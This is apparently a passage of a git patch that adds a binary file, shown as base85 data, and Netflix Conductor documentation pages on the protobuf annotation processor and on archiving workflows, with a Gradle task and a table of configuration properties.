z$Y9NwuHi49eslVXj}EaM9%W0!CP19N-SWgzr)+`n8MKTL- zBa)$e5)0a8U}=MDWsa*ONJ!L!F)3qfb6g3!ECQ~`qHO_Vh4o)c;UVz-I4j=x{mEwVfno z#&4h0!UW!=0iOic3QAv285&r~j=929LMYVb)sg{^l^h^ES{FtEeRF<#P|b5f1AWQO zz@t>4x^DWha}W{GuTk%`#gYv6J^}I*BTN4q-unniNev@7iNjvs<5C|%KBF8y zlabCE^wuor$b zHq4ebVEa$ar~dAH;(}MqfVl)wO8OK1lG|6OtDc^XdYdocd{k10s;}5N`q{P9x;I%d zK;T)_rfJ zy`BiA$O+#=Z}JEEeP0>N1F(T|X2u6j3njigP(RL5L@71pX&FIt_(DU7*z&}h(81S~ zsu1s?c)#!%+Uo)y-h_Rh9({29LXn1;nHdgs+q}z5>ep+RirMJt>Xqt4_Pbo{FZ$&(?)TCNK@!dVUvO7% z43T?zc+3OB+uJ2urT{`J4~r?erB&W-lb_~Opie6noG!cqnM)~$AF*DQ+}<|T@sh7? zm8D}+Vm|SB4cm2Kk^y<~90KDxw4h)8qDy+GoTJsUT78vPrELFH?Gg`fIU%aG`}G-bJ2@QL1_cXLgBgQb)QrPU$qd{rP zv1nSE`!v9;7@Cc`=M_CYGvyN0?3%4>i>gFo4{sy8(R^^BY5h!pD$pMS@2-tyOa>hue+9}JPn$IK z$_5{QbtU@sq-hM+G#oLfkQK{noE@7izn2RSI z+>DN{9ybyK7m-8wKqSk(b)RQtTL~uRk=|X1f}@GZhuUhOz2fMGXL!RoO8 zEmyDwc7#g6oq*8My8^VWLQ%OL>cksdC;7D@z&ysa>Sq`GVz1fVc$6NW{%n39Ax%?q zjU95`R(8+qMSji*Orghat`Yzo_0?JT&Z0CyJD#Td2riG8TxC@OsXlT@)B2Hq`f@l> z_jBR|+rt)C!f0;W$+fDyBi zG7s$U9?2p=5D*&`&705A3&5N&Q!nF}^UAHMtNO8eKcF5X`-g~VL{NI5BHR}hKVI2h z(A8atyTc9)FFy8VuTLy*I`W4d_k-(qyO1gd-CLC?h-D*V4bQPzktRtSK#^TN6h6qn z-~gbZn1G`{c6mtCWW8p$4MM8aBg|9jl?xIGyL@frCr7s7HZqP4fEsn0RB$%+k zsRjsS{E)AeJ06ztZEdZ%Oa?jhyF}S9eJ(*)g3Y=@Yfeh!b0K^Ww5*cZP{wL8H?$3*v8D{Ri*+d`G3+j+?>e7N|jH7+vKVW7VzULRgc(1^Oq1!S;x1E|9WqD~r&ka%G4{hizNGzjITo!;tPc`=$sj;f8N!do_~Zx4C^upfCA4G(S43e>0d#OzM(LOj`4! z-UGMmyS=(V0~+Q45$Up^GIwzhcqTbOKlONBMQ9P0DH~4dC^$Ydf=|2(u)6v3S0yB| zVbg&cvI1jfKAV+Jq=v;UwUtJvd{_qsuOwT7MJ9h+APP0!24@C?%Ex0G?OzeXVr0s6 zA*IT#-;|iVl)LV}AQn|l3LHYDuWm2}PjB%Z>WNI1*BQG>9(1IXMUm5}HESx=>;-H! zqC;pU+&y{OlaM@=7Wy;#DxqK5Qhn9B?wSW4*v1^9zVa;|%;hhI#!eo&LzEc7zD~`D z%$!~vx7o{S>-w2ttIVPii_x-@aL%DeXd~OS+pch&hFoBMi@sUS`_^djI@83^nkg9) zc`QL!d~wfX0cU{xDPk7bXI)_jbQlBLJOB>v16Mgrbk6srkJDhXKU&?OZY#N@s;SF{ z-nRI%3>y$!Nq@PvF~Xs9c}Vx4GVHdJbrA5G3@Jo1p%92tU5CK5Oq}oVx`~Vw8defefT5ZU%&sXC`gdiSJLudJI!b*&N*;&rLKvByFZ$@TG1a@1SCQtiEz_ z2z;Gf?hzp@BNX_P;>_a}k!zA<7n|@*{ujuf=tkUUSEx7>s%xJqUvTCjGBpaCG~0+@ zuK5cBTa?d(BppvrPU8ILB)C93YVb6$o5}) z(0uTM`at?c*8=rX@+W8C&1$=;pWC>oON)5}gW18_HBLqxo=eXsbz>g5B6FFfL#qRZ zm!k@v#y?%^HNLzxYq1^l7}b-Q`%ZmreP8^Cg`AOiu)yZzarV6VQnd+uE?+m_oaZF+ zUghFPdyf@cw{L|xhSMQ(&h|SCs4Dz%;8Ejwe5qF1M}1q&KuA??NBZS%KSYv*V{@Nm zUn+}GHP*H4B*+VtWK%(EX;)qS6(T?7`s*-}LnorUN#~uQZ9n@MQLuFN^_d^~#1(S%c`Qf`$5 zgKLiQ^p@KfnG!Ps5a~_AFE(z0mp2li;vQp8>p>}^&Ux(=CGC^@SEfvC=ayZYiLH+> z4AQei4r|{NG=&p|z{59N#!zt+KW<;D%VrD3lJB;p-B2vP`SRX;k;uHm=h>=Tb=~Lb zWi2*e1;=l0w3h++V55$U9UXT5N8tI(nhWTSq#EvWwkP>K#$rMv70T7}&u^POcPQ|@ zuaogyhE6Id?k10!YgU9ln+Air9~SL4`@T@AE%zcF4`@}&a(oD$bj>Na2$w2md);}q zvhO7eYvT@7?;X0(`hiZSP$-tZ<$+(mhBOb}z&;xPOJISEwWxqF@wX@go0RmDuLZ5IV}?lQ_Yb5k7)-zUq}AWShykrC2c-Q~ zUG~$-H_pt!y)r}}KRO=Mg)Vmj8>h$&nmL9JD~d1FslCh77tEU~rJ4DlV=9pOmuN58 zcjfuhSY8p^YJST$TFELB+k#)7#=I3i<9S!@T!viO(bUDETt<(Qxs?66bA5p?=hlqw zt-mD9k>+xl76wxNpNC=6GFw~r9QmfZzarBR5O{`lBDYzF$18O6C(-L+e_ee2d#^UW zGZ(w17b)cGZ3*Uv7!3?d7HIY6oet(^l<2IV<=&T-Sne~{PYXpO^H%KI8S4ug-1*K( z`+s@l`jRGao!aeT^U*Gcv#d>(^Oj`|rCfc|Cm-w&>Bm>@Guys3v2kOk_%z44OGC|P z9M^v-b6#=&^YK6?gfcc&Ecm?jEprBI@sn|mWC0J}v>WE?rDr2QMbL06Q!z>B1cLF? z!W_DFe??uUx7ohh9c7p!?lhs?$mA-0Jr3FA5o0VY7SXwQ<7&#CX~H!r@*nq_HvGHy z&IdE?@AplQH0Xg_uXG!*tIjrfWxeG1aud8g7yOIuvIVU7S9`O;E3qQOiqK4ETZT*B zn~Zm#3m93=Q&xYf8*{k0Hqgh<3SMU9Ys+q44Xn1=zzGGcUJf(Zb{Lh-xXL(PXv2`# zH{LOca}_<>fCLw~Y_h&vU{OV1dX`i@?(gDzuw5?fw5=@9Y%93`55p!YaQ+$-yK7s{#AOjKa+J+8cq#*;$!3!-*~iSthOg$v zr81+&k+Se$`|u`8pjL|$s?k|?vHKh$?8^N%fKeV?ulJCYPM8`?oIJ^+2y#WnQlaW__<73su z&0fG5xVLkm%_64GZ!vG5#u2A!uF)% z9;#SMaxB;3r<+Ic&QL>v!QRH zd-8(Ec*cxx-*)`rfEGh*XF*|QXR)(N1*Wt)gGWC z^2?{!n1i1HAS7`vrax6m3G#tYjc~uY@<(RT>Z8P4agOl|ROQH;Go^3DFltko5rsOo zU7U2n!f&3&`|BX2o&xsLp#Iy5_rl#@Ca!TAZ7N^huLo-TKDWrijKbbcLZvP=`+z;y ziIifW>QAT{-!eozP6)r>JP8U|HB`GwQy~5 zync^c52VLuv&lYKf_S?l6kS=e1SO(cJdD^Dd6XbSWs4P$UqM$)Y9fKs`xUFBqq;?X zo9SzDQp+ffP3B;R+>pn0EaxHvm-`?t4+au&4!tcM=fbZ(yF4!eefeQwDYo19(Y=KQ z>$SUNKO6u6e36>xnJ&-JkPV{W^gyL=ZA9^63J%?s z+<&6g>_6&nTpv))kUkM>jhK7<3w`(7tFOm1O+FBpOK0%e;Z&5RMz`|LGvDLqHZP$S zaUA^mWn!mygNL|rsm5`f_8ufv{;f~XB{@H(FxteXEZ19e<>RH3Pnv^P*_}rCpR!qc zd}Cur!ceO8h|+e|TiNN-jVou}pgbHdu_%}fo7zR_oy7Jw)x?s4iT&GIZ8uuVgnq>0 zTx){2e`yN4`+oeYHP((YN=fQZmPw3;h^uHqPOPpWpp-OBM>&G2*vxULZGMbwVV>W9 z!eW6yB#8*}4(*2=r(jV%j;ne`)QfJ&`wA4p1%s`+LdH|m1icVms_&uhS8e3PEYP2V zn%E)RGMi4Xl(dKs*D7k1R9su#xoIeBT-P;&?hsan4kLxF*VH842stHVmIh>~Wu)`| zkP|E-`95Phs*G=V?AGkD1LDHIH^_PU2>=uPQhIRbHCPvJ#3@M! zJc**K87WC3A2$7II#sh;@WExY{3(BAp1QH)Ny*g$hQmc#%8PfhMt!yzl=WnbvT}3z zjU#e3NnXiERJ3`r4>kj(<<_0hF}LET3v0N|t9+y9B|HyXST0{)E2~Wd`CXa4iEut_ zZVSJ2@cbfk!@_s4UuOnW@&#A(6sV25=)|HZ0dPCI$`FR?PgX~ z{F83QHG(Zx-hKM(%(dTqy*D^}Ee`zd_9^~t`Zjm2n1vO2OHt0RT>bF?o%5|2sR!&x z|0Rx1(0qLcA@aeqs>LT~!`1Gx`@HYuiqDj9UCD=BU9UNN?p(nU8}q84?Tzs=)9hhe z#1Q4Y0&WbKlI&x=|8y-;Kw3QoH2l1UTQV-*MouC!2PnHMi0rbK;(GA{N~2yN*D6{0 z!Fq!S_-NC(`tnG-3uq#aW0BpK3Ec$nrqIs`d}f7+*!JnbBf54K|J<9GG!IQKeMf!c zrtMAPquRke*DRj2K$KmQyZP{2FvfV&DkO8SpVJw74Gxac5FIxh^KhbB=$71nW16FU zz55G~5UMXF1-sOp`$5!bW5v#;68=%zj0BpqczmT9JkB)hSXyQF=zV>s#^u;aaVwgu zV~150nQ3h4B}N6ldlPOAK_};DVcuc)A7HdAU#f6eujzVj?HNr~?3x5})4bv{6jnv_ zys14*+0-l3eTMhu?tJ-Up?yi$s!3#zO>5n&B z&>9VRI~Pnuh97Z8p~`w!)Qi^gjB}|mv(9JBx7FZoEqk`bs1qfT&FG9&@(S*cdh)ya z>IFf8)6!qZJ(b}<8U}RtUsO1cZA|{`7HX2NXyUwUEmgLixY%$5+3cqpP=8Nr-4bK& z-O+ebWq*@hsf-~xZOiP)jw#wGL&n0lphl8A$N#%NgeUsR_cB6R9T|$MeOwwCuAY-r zVpsu-Vhe1}W0cw-xC-BH67=7=Sh`7B(MeWyX=sRG9rAhM`?Kzmitt|Fau8v+{9!X# zUczH3<4TgCopUaKGA8^T<@(U;kX9VpktFxS#Sh{GfNZAL;Yc4E5vS?OwB=r-4C)=B z?F#YN_o*OX-y+vS?t?MU){+A(HaQZ@Zt#*tEhl$+@6YsyC>++e?HW^#mz&>a>XC9#7%d8BZ{{7+FRe+@ z$Dgw$M{ysO8?bd`%ajjx4R;t#LH-UTZa^)1)=LBp>p4wtCZ$N>DVPc{UfNn)TY)cX zqCme3n_oX7Tzj1{BUA?Lunx>y+|{B-aeT3Z^oMnfF&y`Y#B<-dKGB&3b$xuBH#3IJ zwnKLr3KSac1+ri-Ig7vQ8R-!P&&yr*--}tS=&hO0oJq)LV?k>`ZkiWZN$Wr#@qq%$ zw(C|88h#2)>TDKOuiKNF&sDPb*MadGx`o{&r>P`zlzOsohN3$CM3qice)m&bvdOs{ zam8nanBcmFVjrY)8gIZ@*zv5SUvnqUApYrNb#6kj4m@EiWMroQsg{dND=lSrv~)0}yAChYaLjoI!noo*&U>Z-z8Wo-UBWK#_yIjzXfw^?j%Y@L)n zVG@eXkAYkRhas!xg~I-t8l2b%@q<&~Mp`Z+Y(8+NjLUSnvm%a(Yjc^_NpzTris|Kn z$R<9fub4msvOckPxfG_^FrM;o&Tc)lO}r@L2LNHK*P}CL0xpJaPTn+hpQS>Ql&w12 z{HK;HWlsFH-d;x8^>uqyS+>*h4ux@MjZr9sLWEwtSj62oI9N|JRR;NQf1(p}$i;nQ zoAOf7Dw{*X47}Fq9%PAVu7;nxU~hErw6x9^;<7gfULe;XjUo`Mha|3`|{M>p|zr}vvmr@QmX^< zDpz$8$DoqwS5*lmptxFxIsFu9_Q^YGu+PPhhuV>x9}T4AT&J91<9?5O4TCOaIK)34 zsc*yuW@-|VZ=^!qy`oDACR%9?B7HX1Fn{$1+=f~_7hLH}$b)-F@2XSmJ{)LYzQDnb zu9Cu&0OZ9rEX2rpeHw*-}CQPbmu5zpzzr{%)BFiU9L(OH$ccQrOs1*$kw;3l2q zMN1-1U%&T?e)(IJUM@5g`#qyZ_hgZ(RPEC(P*?W?OT@F4pFad0?||jC`saA2tG1qB zdmDX`{%Lyzbp^w)d8QZ{YHm4LWPuZRJDMvwC~#{B}EZ;m^#Hyg2pA^DD#l6uEZY z+Bf0@M&7%5t_&dDL_|iWZ^i+uABc9+zZSz&j_V$?qFe4y(MYO%sU2Ch z=lWPz()atTrWrlC-M@kJJ$W3_!E%mpCr-davHB?C}gwaZMrx``zrfUgmV3Q2f|=_gChVwTkqUx z%WKhWENgdPI&L@d;Z*hJ(h&CuI^)6hZ(NFtSgrn=1E0X%Q4QlJn=rY%E=--=?4;vf ziOXA3hPU4qZ`M0c`gCi@TeC0cqL#wcX-%k0}c%6M16Ba-~Re!uG<`7RJ{7B!FFdp#NW&DS?hV8sv3+ww^CDB zDV#k!NKT15uF=E7P~*zm-;a3A+5Q5^4dr|6_>V}6^%KPeb_b*W6-Mkrnys)KTBkKN zU2!&F36EK^ep|_s&ol~M@zZEyVJEG3TP0VcKV-(}vA$?|ax3j_re3`HdAa)Nmh}%@ ziRD_)k9p5GswVQ}jM(ek=`IoE7NuAlNGp3{DxiCt%RKJs`(S|6%6zF3I~ZSVV2{Fz zoR>=mmaydG@59~j`X4g3_g#^h2|QDGx@8NE(k6;4vVT#^9d6Bn?XYj`kNC;4sN9O! zmOU8s5;OzmbSQZ1#?bWSR`LX5n&7t`j%OZPM$`_Kx#9;~sYSLo?Ho4} zHYI9q#A&93-npatN<}@s5?#iblEnqQqui}%=9-UPBsg{XWvv5w=w};)V}hg!Qh^mX z)!77TISH|C*5FfTEAvuwv~Z}ciMfk;9x&wH=NhF2j)^B1IMm+btY0Y%FyQzj&QsFm zfxQz%#ciax^m(hU7Zf>*pRW1p;s~SqnWS>*kBrhG`>-Rym>>_$Lx_w}GE5{MXuX&Cww+48B3RdAvF|3Lk8!nqLK>1O zziH0Lkdr~!C=?oL0+)PCM>8APae-6~N{x*i_hCR_qd4&#NT8Gfv>emof3rdSN=f|x z;5veI?k(*+;6WH;28@H^#yZ)LqE)qm7S?ViL&e7OTxO!k$WShiJSux;CMhUGhm0X( z8KTZ65~C*6(?72QuW^C$~n#2%fe7xVzaOm*cHPCd?|XVB#B0D1*9pXtal4v)OO z67xWbTOo2(miYc`*x8&rDHE}{ayqNe6Ji#a9NfCtq^}R3Q6(8AC1Zi8&sTkESogbs z((OG?sXKK7v33}|EbWw$-;4|qZ81`d_^T;RTCTnph=jUjuZ2#UEM&Z&ESB7*2MIsa z$gCz@-@4e1-#Q8Dh)RE`Zs+#s5m%8><2%45KyCZ;`Dz1m6C3Z_nK!>=0Y)o5!}MIT zG0#>MSwLb^1e!AYQ+Jk$*;C$1TFoxAipDg}+9LAOVDC&krwQ{fT3PQKf$+{c*3OUg zD&!O>HmG4@RON*gm4&+s3ppx#0$U1m*)=VVr^E|R@Nej)R=_l}cw_kKZ~%Xf^CPxE zNNgzf!e@M;y-;we(J0kie!rR2PhO37gzDd9j@vb-YSH|&ddgJ?vZ zhm0Nb{RM-Q$WUuR!?|FkBJJESq87W%K{QdcqQ+b{n#-u}_)N)a%Qt&^b0lW3)xoYA zg&st@geK@g^VpD$T>aFKq~piVF~WZkUR*y7FKYf7UIgv$35f8-zn<%l9pVqSeT;9y zt>{bv(_u1a*o@9PSjY&Vlx-6-IyW;JLfy|jtra|xtwL=j+>=V%nrX-eo5ZP`UVn6Q z)PoUzsa3F1)UKcPoQ4)hb;oksa}C&VQ8awdJ_6!`r>le^d#eDRH;qDh{bNIGkR&0t zXEhAvg$knf0LNPN{e2YlePpNlrvcwzEjG_1&qDLfT(bOG0}1RAr_>kna?DCN73t}n zw-Z%he19B^N$>bsSf2&;#~o8ipQ|}V%#)Y*d^RT3hglIztp49_ECb7X@|+advi3$R zw1OBGTBw#Z)L@qM$x^uAfQG5Faeu>Uv2=fC)#LHr?L~FneJcc-`=Iu6dRZ`6%EqYA z>Jas5AT5u3r_Pl|^Tb1GwNQ`l#fyOBN5O$f5C`w&Uh&MLJYg%#hKA_^dO0S z%f7jiv`fIY<4cv|8w2x&`O(y9B-1JyL2ZY74!^g*J_G1x*-WnsU%+pi&5?nA$#(;H9T6o&yKqziZYj>C9ImRndp9@@2h|kK#F3U ze>L&47c}xVCr|=ZK2NjOV5s2H;ozZaqTLVJEBa^UT!dUR11ns^u5TnwUrl{tuW0RM z1ZlS|gy&99M(S?=#Wc+{afRdklL9Z2A%nOw3G*Th&BBgBx?W_Ic2}bhZtrdvb&M-F zYCSK2&+(^?fT+SR&HJ8pqpPsreJ6U%#H@{VWh|J~!_#wo)Wrb-s~q(1_J%KCWg-|^6bBx8=3mCdkM|Wg&ZZ{@%FtG7FtCI7eueD!w}jf@v?8T< z2+8s5cI^=&Q-(moEMr5$H=LlG_I!MT*{sc>1IJ{E97JwGT)}xib^>2>wdo6g*#-40Q=-}`Vs-q-I z%jA^8B}dNLYA+#ktu!|ebDEC(lAU&$TCBVbst}Cjk zZEGW4kX{rJkRk#Gq9`3f+Ch-sq@#2Y1S!%%RGOg^dheZpG(jRD)zF*tpdh`M5CVk! zo1^1@x#z)iZ$=*Su*b^SbFDeooZt7YHQl&uvGL|D>}q)}J{C#jQqUR2MXg{%h1K_A zp(Ih%Uveqsp5_xX3S$~xsACRR3O=ECM#E(^hE6E5SfmiHzKq=dx^VvS5}n=~Jz9#6 zrKVG%57J7J_SR{{6ziHbiFc9rtfzqd%6_n6eiYbZtYRa35{aA)aSV2DTrx7|4kI6f zB5!Cj-y!#4^=^RrZ+6c6Hze^yrCI2hmV0UW@HEe;+|8QKR-ZGHdpc!udtW4wk*~pd z!jLtpR1c@=Md_?yKT`0m*E0YPDOArWSP^eS;vS&a@$i`aloe!kC3};=Wl7kh8TP}e zkp9C_jZl=3db!~zU9`*d9dwc)HgVZLGdNg?@R(!`Us`Zco)~CuBw|to2{g}F&+zFH zG%ELbB&-`2QM57dsIjb9oeDCp_v0u~iC3{%jOcGklH4^C(56 zm)-d0G|~*zM~ZT&)&VC8!dH4_b@w6qz0C(A;}xeRIor`PQ6qxYJYciW0 zf2?}=xfyy#nNubC4h;jy;34U*3?qrIpNAx9*Gi*y8HJ!=7OB*j>Im@IAG1$;i$8)_ zQ=xN8_d`z%2Ko@ue_bhrA}_a-%(%Xe|FG-a?F2S@7`$5*@I!9%3FAQK1Lqo;kTa8) zIc!f^*ynUh`$O0y0lJDK4>Umyd33bam)F>o7p*nY5pk$HTwsJ?LlX zMkLl3)#sp>N9~ftX4`|N4mT!@Wqw-K7x@GydX#2MfgGi_<~<*lG1G`Z-!t6iOtZfW z>qb5R&Y;BG)}8_69-ra+YlGjlANH}$7WGHaY%@zprig<-iwze%25vi^Kk$2`L{ZB7 zZT$}7Xls6`e9f&+ur%A`feSsqROD5#macGFfqZC)J=*Bx%9?#!ZnAB7LN;)}tx?rG z>6u!^jVAzqZV_8w)5h|~6-npy`T8;3db)ORS{5dYV*~v_i9RNU_>XpP-dbC zN8PW-;$X$NE?}7;=nS;*mU%zptBx$@cO`0PiDDTFMbeyBGaqYC$Fy;+dG4L9WCt)T zTGK)gu;cY=N?7q~yS?k!ldto1-lu|f&hv(r-3xn6_jnv8ET{9CYAsh9jA|~uJ!L*p z5d7J0b+95BXY&YXf(Hk?%LC27|8yhoxP6g5xBsHo?RL7OceK_V2aEMOudwyEGs!mA z5X=V9tL4nx;1xZ1uR*m`DyAG&MuxOX$x9{*R%1Thu(+w@v^5^dDicRW-v@glNekVG zRK3i2s+uCDf0f@&m^>|2#D4MHYm zbG^%WbXx*g<@-@(6D3X$mE==yr^MZSJTx>EMEU7aP?=-xt2rT+I8aHSLxY1luX zuT``}B;30N7d+}NE>?0kydE;i_nCPYCHl#cr&QV;Z2mF-vVSAZ%-SgI7K4D10UarT z#i!Zyr@+Vu4ATdJb|=?FZD_Z!=OhBX7Kc)eu2WuANlvVt02EdPfob}21(1^jEZ?Uk zxqVDda+dy7b}LnHqgLWP@BPg9d>7mD>ET+AZ=?-u`7}W4VSKPy)?1&j{>7-~QY#1c zu>Iw|!oHCSJm1zAw=3Cq`p^2#wXSm~b5dF<$D+@O?(xYNCZqRu0j+YL*z4{fDqRm! zhqB8VJIF>Qx8=UP9dw6@C+g|ci7HS0rG8*aG36J%M!{dwY`PI5;^>XE%?;`iMi$3^rGk4SqxPd~{25Xe==o8XL7jw2OC>DsZtyG|3)4HSbp%MA!0q1() z)O()H)&r@AgWU;FU%G*RL=p6z3Tvi{#((3y;yZ-m-V{0nt0nmz&30%NFux zWG0P6dK|SWkWZ)4-cHOst2gp|6!p_GXv}Jh29qlw;Bkqv`|OkUqxE&B(byuK#LdsI z@1y}6rR``&3LJNiTZL4ZuX|Lwj!8DfK6M_~2@bWe-F_^+IRXey$SyPGM&^?t8lSd@ z4BCCoT{;0Bd*-XI<@u^DlYOS@j$(Nx211S3!|a#)ynSTU9nTySBE{y1S~=;Gevx%$ zPd0OCMcUk;gD=%r5DD_Qb&{1(${mehG6wF0HX7-}1c~72XEF;%n_H5W%MsI?0A|w| z2XCwau7I6&Mm95@OkAs#lMEa??N_JkU6^t!bl^O`yg<(B+mWOoR&}S@ZGzIrm$Aun zdse5#Og3X?REb@0e0^uO2~fP8`^#e_$Y3PGgB1M>#}}0|?sZN`-C)ZTp%v+6;Wm=d zHxj7(wLe}7RZZf~Fv&2QWTGX2j`ou-d*fQ)sO9I)?KiA#ZwBdaiG-nxhuVIo-95rF z0rc7I9X`nv4F~rs>I`9PD%o9pi&V>ZH~z z@?-t6cl-ATl`qqEkq*h6qGh}c!4(J)B?#@U##6s4pv05jOD1{e3O>@O%=?^?xtS> zjjheql(osjfKtvZj$I}qH!C=1XBKndzSt#z5KwsK9UQtq3$O>nw2B4dXd6e37Y zC*~Bg$vlT%{r=$YuL~i}N9EI1vgGiHV5L$eJNTDKLJ0lJps{Ka*sOl7f3X?BM15c* zpQd-}>~D}YcV@wxCMxC>*uQ|RfEE>My3_}y#zl-v0x=UNiklq1fcTd9S)yTn^KW!Y z&784Fuk4&d*zVef>@))mae?v`ZCQ~mU~k>R|eKN4WzAXlxC+pB|rG=n!;?* zdiElC|4Xm4^}cevcE!j@Y{SkFB4NWF+_X##im`&hwY0SEE0BIKz>6XZQ%e=i-Cwe# zx||#sJ(Za1*^vczjAj>|x>5eqL&O?kVCsU~0Jn?+q{|`Z(adb6`&!(XPMA9#j|w*= z{J~)*BQmaHn;jk-$E)AWOXNX11Rv(tGZNZAGUYHZEhbkU_d&Az9IdJtcb@1g_V<+o zEJ=rNYF;*(2?kwmM7LesXtvUi4JCq(zC+u4!%?!=xhLO(VF^@aflsI2qoXqBHwzOM zB$5?tKFH^MAu9GrV@&;SkSP9sitAYM$Jf)i-IJ~O>Cg{WeG205NPZYMykPm9|D8-p zX;Iu5{T)eQRBa*bH06jTx|FGrz@JcTKl&F`yU#eF;#pTjxXAM;Sm$xI&Xv>rbdsH* z{#4<58uc2IgReR^*C@*!Cu>JsG#;@;Eda$xwz^zcpDc>L@@VRGPC8Y@KdS%in9V|C z64bmkT^EhC?%BPRieBN}>ocpmVS?7L5Iq)c^Hm6qa^llCpR@%U3bn7H=g)_>b7EqU z%YyeUChbhmjIoQ+ymxq83nLp_k!?I~l5Uykjf1OT2TNC0^U>e~+v&}k<|hE0m%dbti!y?x0&LZIt>bXT}K5OtRUwpv~Hjn6j}T5cTwid56*%r<&&qth3F z96xUMntv#M0;^y0?Fe5C9JctOb-o&F`9XZIsnV=WVy?wAYZ-zzrCjHb@Z2V!6QlhX zVMFC2Z0!CWHj;8Z4`nn~hvCMDgEAW78PJv9xOB1>9w~L3M=DggnZx6f8mp~qr|xS< zbZV-xoOM~$IrBp+0~iJ6xD5OXUN@y0qb z?TsV`KddmSn;_DyFcvMEMmczUfY=sQ6bR>N%}R8NRF&;V3vQaXxT{|#f_LH$&5PEY zIr49tRN+}8;=(IU8~;k;svN?SP_5=rQx&Qt!~r;t7BR=RYP?|GlfV`(%gtca6AqES zOsp{C*1Iv#3Eb-kz9Oqypi!d_kP;tOwouM&5cp9I+Kb6%AYEa~ zwV9_zuya!xb%aWD-$O8{+&DjAKx&L)PU1B9*^4%3A(NxyGalt}1 zi0@-faRgpzEw!gY-J46;k>FnUA72zzG6X4>z9#hAFCPUY(W|<`Z_BN&RO2SoYRZjod3W7n7uip2vjuQcj@m#F z<=cF^t8*NV?#9_tk-jz)W{a8!B>%!>1AEp(jd zzIgAyF}b(su6L*g<;|JQ^5=tyrN`U~WP2Q2iQJQcJ|(st$QV5?pq~9e8iFDJ2{}L? z_;+Am%zjj68nMlu_+TCBrZ!7UvOPdLcplyn#PT9bcJp9>(DNHD3`Z{46JXRAJF&H~ zP^C05VctM9CwcE2@}m9une(3HfWw9u(^4Ns0-pFFO$U9q#dnT+ViF98eLhMOG*jQ0 z2rR^wtEEj$o=MGK6?vrj$0ruR>3D=onWp#`vTXFop*l5ImDFlyBwh))X*tczf$enMZH7HQ-j-vuqEX8WE=B2&8bMpr zVmH6|vzeId%ZlS(9dVy`E`x+kZ)Kedu9ry56nw_WzFJOy&KH_<;$j=0O`>$gi>mo5%tnDMllcZlt+m`?}2 z)~`sN4jaJW8SG?YSI55IOYPnVsLW<5f@Fd}N8YF|khi~nA#YH4mZD6KtwyHy;k`ZZ zGyETQQn5oZw-|E66~Ie==E2IHMcHT83*AUhs_PO8MH-m}PBWiJ;I9v^KTZmOe1In= z#NAX==~SVA%Zs*da!H1m;`b(%=hrt?2uMefHW#BOsGc0dE5^OQI~#e@9?Pgx24a zjpW(IbP3eD{Gjc3oH;r_1f;GZ9J)I{f2%PlQ2(MTX-+4+!HeE(dI;!tWe$li6_Gac zzu6Z^YZyLjgrr-1@awctNty00skbA<2fuF}<_grt1-umq-I-~)mEenJ?UkTEZy-&7 z;1SZ~x$_*8hmUWh)jur^+Atgc(lg^(VhzD73Jd_K61$U#uK>yxu{ygJWk-53u`j5@ z01S;4|I_*d4Ebfu{!)%Hkai4nb+2wtxfz*OFDTj%Wd}e(ib8OKe-Zt`e;+*fByz!U zP{Cze`S4-yv;DR=gAY5ufio;nLMlNGZY#fD_MLud8biruFQm*Pa#FXxYmvAk}sBBqFIK4|J_QE zPU{dU;ltM3gaOzkPcjx^i9Cv7~(%%o&EV}7JY_5sa7EU6Fwe;i>OkrN_+Q`FV%zV?>vGAW~4;N4Fez^=d#MI3Tsw`lY0$-iRD}iuH{gN!# zpK6%?Q|+`%dtm^A%l~fxKs}<9e6eou{>!fk4=_Y;&lOexZDLQ}ncC$&@Js!f-2d>>E-Anef?W690ZYCnV4@DYpgp>&o){4Qp+o$` zV}KQn31AV~ew(7hhleS)RlstZ<%kjE&~h0k+;&%F|L^ArFG!5^p(Yziwpgh-lPu;7 zdzO|0w*vfSIf-sJK@iA3x1?WEPA}?@x7>eNb>BTMwx5v01RCg$42znix)(7y5T#i0 z^~k6b`h(lAY*)$u4{s0#0Sx|<#?=Ie0Njh987gUZr5GiB$?FzcTE~F!AI$lO)=B`z z<)@e!g+a5=1_*LdEf4a-9(h4t`IlsemJu4Ln!yz0R5lhJG;05x1p7}XaY+RJW+3jv z3$)5*#LYKY+q|_$3inN0l3r&@#}|ajwz}bm)6rT#Vo+18;m-ch=;G4mmRt2d%tzFP fqbF;a)Zs`37|*(*-Pp|VfRD1GxMPI4GL&M literal 0 HcmV?d00001 diff --git a/docs/documentation/advanced/annotation-processor.md b/docs/documentation/advanced/annotation-processor.md new file mode 100644 index 0000000..4fffc42 --- /dev/null +++ b/docs/documentation/advanced/annotation-processor.md @@ -0,0 +1,29 @@ +--- +description: "Annotation Processor — use code generation during Conductor builds with annotation-based processing for protobuf and more." +--- +# Annotation Processor + +This module is strictly for code generation tasks during builds based on annotations. +Currently supports `protogen` + +### Usage + +This is an actual example of this module which is implemented in common/build.gradle + +```groovy +task protogen(dependsOn: jar, type: JavaExec) { + classpath configurations.annotationsProcessorCodegen + main = 'com.netflix.conductor.annotationsprocessor.protogen.ProtoGenTask' + args( + "conductor.proto", + "com.netflix.conductor.proto", + "github.com/netflix/conductor/client/gogrpc/conductor/model", + "${rootDir}/grpc/src/main/proto", + "${rootDir}/grpc/src/main/java/com/netflix/conductor/grpc", + "com.netflix.conductor.grpc", + jar.archivePath, + "com.netflix.conductor.common", + ) +} +``` + diff --git a/docs/documentation/advanced/archival-of-workflows.md b/docs/documentation/advanced/archival-of-workflows.md new file mode 100644 index 0000000..aab0604 --- /dev/null +++ b/docs/documentation/advanced/archival-of-workflows.md @@ -0,0 +1,16 @@ +--- +description: "Archiving Workflows — automatically archive completed or terminated Conductor workflows to free database storage." +--- +# Archiving Workflows + +Conductor has support for archiving workflow upon termination or completion. Enabling this will delete the workflow from the configured database, but leave the associated data in Elasticsearch so it is still searchable. + +To enable, set the `conductor.workflow-status-listener.type` property to `archive`. + +A number of additional properties are available to control archival. + +| Property | Default Value | Description | +| ----------------------------------------------------------------------- | ------------- | ---------------------------------------------------------------------------------------------------------- | +| conductor.workflow-status-listener.archival.ttlDuration | 0s | The time to live in seconds for workflow archiving module. Currently, only RedisExecutionDAO supports this | +| conductor.workflow-status-listener.archival.delayQueueWorkerThreadCount | 5 | The number of threads to process the delay queue in workflow archival | +| conductor.workflow-status-listener.archival.delaySeconds | 60 | The time to delay the archival of workflow | diff --git a/docs/documentation/advanced/extend.md b/docs/documentation/advanced/extend.md new file mode 100644 index 0000000..e492830 --- /dev/null +++ b/docs/documentation/advanced/extend.md @@ -0,0 +1,53 @@ +--- +description: 